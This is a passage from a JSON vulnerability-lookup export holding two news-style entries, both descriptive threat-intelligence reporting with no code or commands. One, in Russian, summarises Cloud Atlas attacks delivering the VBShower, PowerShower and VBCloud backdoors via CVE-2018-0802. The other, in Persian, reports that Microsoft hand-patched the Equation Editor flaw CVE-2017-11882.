\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 PowerShower, \u0430 \u0442\u0430\u043a\u0436\u0435 VBCloud.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF-\u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, CVE-2018-0802, \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTML-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA), \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %APPDATA%\\Roaming\\Microsoft\\Windows\\, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 VBShower.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 VBShower \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0435\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a VBS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0430\u043f\u043a\u0430\u0445, \u0438\u043c\u0435\u043d\u0430\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower \u0438 VBCloud.\n\nPowerShower \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d VBShower \u043f\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 PowerShell \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u043d\u0430\u0449\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 ZIP.\n\nKaspersky \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0446\u0435\u043b\u044b\u0445 \u0441\u0435\u043c\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a PowerShell. \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f \u0438 \u0438\u0445 \u0447\u043b\u0435\u043d\u043e\u0432 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0441\u043b\u0443\u0436\u0431 Active Directory (ADSI), \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 PowerShell \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 Kerberoasting (\u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 Active Directory), \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0433\u0440\u0443\u043f\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 ProgramData \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\nVBCloud \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043a\u0430\u043a VBShower, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0438\u0441\u043a\u0430\u0445 (\u0431\u0443\u043a\u0432\u0430 \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f, \u0440\u0430\u0437\u043c\u0435\u0440 \u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e), \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0444\u0430\u0439\u043b\u0430\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 DOC, DOCX, XLS, XLSX, PDF, TXT, RTF \u0438 RAR, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 Telegram. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://securelist.com/cloud-atlas-attacks-with-new-backdoor-vbcloud/115103/ \n\n#\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435\u041f\u041e #malware", "creation_timestamp": "2026-07-27T00:00:39.770269Z"}, {"uuid": "85369a1a-7336-4669-b4a0-7e0f4e8c1b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6530", "content": "\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a! \n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udcd7\u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc ACROS \u0627\u0638\u0647\u0627\u0631 \u062f\u0627\u0634\u062a\u0646\u062f: \u00ab\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u0645\u062f\u062a \u06f1\u06f7 \u0633\u0627\u0644 \u062f\u0631 \u0622\u0641\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u0628\u0647 \u062c\u0627\u06cc \u0627\u06cc\u0646\u200c\u06a9\u0647 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u0646\u062f.\u00bb\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0639\u0646\u0648\u0627\u0646 \u00abMicrosoft Patch Tuesday\u00bb \u062f\u0631 \u062a\u0627\u0631\u06cc\u062e \u06f1\u06f4 \u0646\u0648\u0627\u0645\u0628\u0631 \u0648\u0635\u0644\u0647 \u0634\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a Embedi \u062f\u0631 \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u06a9\u0647 \u0627\u0632 \u062a\u0627\u0631\u06cc\u062e \u06f9 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u0628\u062f\u0648\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u0627\u0646\u062f\u0647 \u0628\u0648\u062f\u060c \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f.\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u06af\u0631\u0648\u0647 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a ACROS \u0628\u0627 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647\u200c\u06cc \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0646\u062f \u0628\u0627 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u062a\u0627\u0631\u06cc\u062e \u062a\u062f\u0648\u06cc\u0646 \u062c\u062f\u06cc\u062f \u06f2\u06f0\u06f1\u06f7\u066b\u06f8\u066b\u06f1\u06f4 \u0627\u0633\u062a\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0646\u0633\u062e\u0647 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0645\u0634\u0627\u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0627\u0633\u062a.\n\u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0635\u0644\u0627\u062d\u0627\u062a \u0644\u0627\u0632\u0645 \u0631\u0627 \u0631\u0648\u06cc \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0627\u062f \u0648 \u0633\u067e\u0633 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0622\u0646\u200c\u0631\u0627 \u062f\u0648\u0628\u0627\u0631\u0647 \u0645\u06cc\u200c\u0633\u0627\u062e\u062a\u060c \u0645\u0645\u06a9\u0646 \u0646\u0628\u0648\u062f \u06a9\u0647 \u06a9\u062f \u0646\u0633\u062e\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0642\u0628\u0644\u06cc \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0634\u062f. \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0645\u0639\u062a\u0642\u062f\u0646\u062f \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0627\u0646\u062c\u0627\u0645 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a\u06cc \u0631\u0648\u06cc \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation\u060c \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647\u200c \u0627\u0633\u062a\u060c \u0632\u06cc\u0631\u0627 \u0641\u0642\u0637 \u062f\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062f \u0628\u0627\u06cc\u0646\u0631\u06cc \u0646\u0633\u062e\u0647 \u0642\u0628\u0644\u06cc \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0631\u06a9\u062a ACROS\u060c Mitja Kolsek \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u200c\u062f\u0647\u062f: \u00ab\u067e\u06cc\u0645\u0627\u0646\u200c\u06a9\u0627\u0631\u0627\u0646 \u0648 \u06a9\u0627\u0631\u0645\u0646\u062f\u0627\u0646 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0633\u06cc\u0627\u0631 \u0645\u0627\u0647\u0631\u0627\u0646\u0647 \u0631\u0648\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647 \u0648 \u06a9\u062f \u0646\u0627\u0642\u0635 \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f \u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0628\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f\u060c \u06a9\u062f\u0647\u0627\u06cc \u0642\u0628\u0644\u06cc \u0631\u0627 \u0628\u0627 \u06a9\u062f\u0647\u0627\u06cc \u0628\u0647\u062a\u0631 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f.\u00bb\n\n\ud83d\udc48\ud83c\udffb \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u062f\u0631\u0628\u0627\u0631\u0647\u200c\u06cc \u0646\u062d\u0648\u0647\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0638\u0647\u0627\u0631 \u0646\u0638\u0631\u06cc \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\u0627\u06cc\u0646 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0628\u0627 \u0645\u0642\u0627\u06cc\u0633\u0647\u200c\u06cc \u0646\u0633\u062e\u0647\u200c\u200c\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u0627\u062b\u0628\u0627\u062a \u0645\u06cc\u200c\u0634\u0648\u062f. \u0647\u06cc\u0686 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0632\u0628\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc C \u06cc\u0627 C++ \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06cc\u06a9 \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u063a\u06cc\u06cc\u0631\u06cc\u0627\u0641\u062a\u0647\u060c \u062a\u0645\u0627\u0645 \u062a\u0648\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u062f\u0631 \u06cc\u06a9 \u0645\u0627\u0698\u0648\u0644 \u0631\u0627 \u062f\u0631 \u0647\u0645\u0627\u0646 \u0622\u062f\u0631\u0633 \u0642\u0628\u0644\u06cc \u0642\u0631\u0627\u0631 \u0646\u0645\u06cc\u200c\u062f\u0647\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0646\u062a\u0627\u06cc\u062c BinDiff (\u0627\u0628\u0632\u0627\u0631 \u0645\u0642\u0627\u06cc\u0633\u0647\u200c\u06cc \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc) \u0628\u06cc\u0646 \u062f\u0648 \u067e\u0631\u0648\u0646\u062f\u0647 \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u062a\u0645\u0627\u0645 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0627\u0648\u0644\u06cc\u0647\u200c\u06cc EA \u0628\u0627 \u0645\u0642\u0627\u062f\u0631 \u062b\u0627\u0646\u0648\u06cc\u0647\u200c\u06cc EA \u062a\u0648\u0627\u0628\u0639 \u062a\u0637\u0628\u06cc\u0642\u200c\u06cc\u0627\u0641\u062a\u0647 \u06cc\u06a9\u0633\u0627\u0646 \u0647\u0633\u062a\u0646\u062f \u0648 \u062d\u062a\u06cc \u062a\u0648\u0627\u0628\u0639 \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647 \u062f\u0627\u0631\u0627\u06cc \u0622\u062f\u0631\u0633\u200c\u200c\u0647\u0627\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u062f\u0631 \u062f\u0648 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u06cc\u0631\u0627\u06cc\u0634\u200c\u06af\u0631 Equation \u0647\u0633\u062a\u0646\u062f.\n\u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u200c\u06af\u0631\u0627\u0646 \u0634\u0631\u06a9\u062a Embedi \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0628\u0631\u0631\u0633\u06cc \u0646\u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0622\u06cc\u0627 \u0628\u0627\u0641\u0631 \u0645\u0642\u0635\u062f \u062d\u062c\u0645 \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647\u200c\u06cc \u0631\u0634\u062a\u0647\u200c\u06cc \u062a\u0648\u0644\u06cc\u062f\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u062f\u0627\u0631\u062f \u06cc\u0627 \u062e\u06cc\u0631. 